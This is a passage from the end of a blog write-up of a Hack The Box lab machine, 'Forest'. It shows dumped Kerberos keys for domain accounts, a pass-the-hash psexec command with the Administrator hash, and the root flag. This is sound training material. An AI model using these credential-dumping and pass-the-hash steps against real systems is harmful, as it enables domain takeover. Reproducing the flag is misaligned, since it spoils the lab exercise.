htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
Dignitas:aes256-cts-hmac-sha1-96:27f7d0d9690c3353d2c5dd883a5d3b5f1e2d50a379f51d939974effb2fd8f356
Dignitas:aes128-cts-hmac-sha1-96:3403a6f63dc8b578ad76aa1f18f2b14d
Dignitas:des-cbc-md5:f4fe25f2510bc883
FOREST$:aes256-cts-hmac-sha1-96:a4fa6d7f67a0ffad420489ed900f775d5d4558508338bf66fc8188d243d27908
FOREST$:aes128-cts-hmac-sha1-96:ad327a26d6a1fb0b8d20a07abf55c84e
FOREST$:des-cbc-md5:670e46e5f1579d51
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...

We now have the NTLM hash of the Administrator user let’s use the Pass-The-Hash attack to login into the system as Administrator.

impacket-psexec 'administrator'@10.129.136.21 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

Now let’s get our root flag.

type root.txt

Flag: 94a64d01f2fe488233eb7383bd1cb563

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Written by

REHAN SAYYED
REHAN SAYYED

Passionate cybersecurity enthusiast and red teamer, exploring the depths of offensive security. From secure code reviews to red team operations, I share insights, strategies, and hands-on experiences to help others dive into the world of cyber offense. Join me as I navigate the complexities of cybersecurity on my journey to professional red teaming.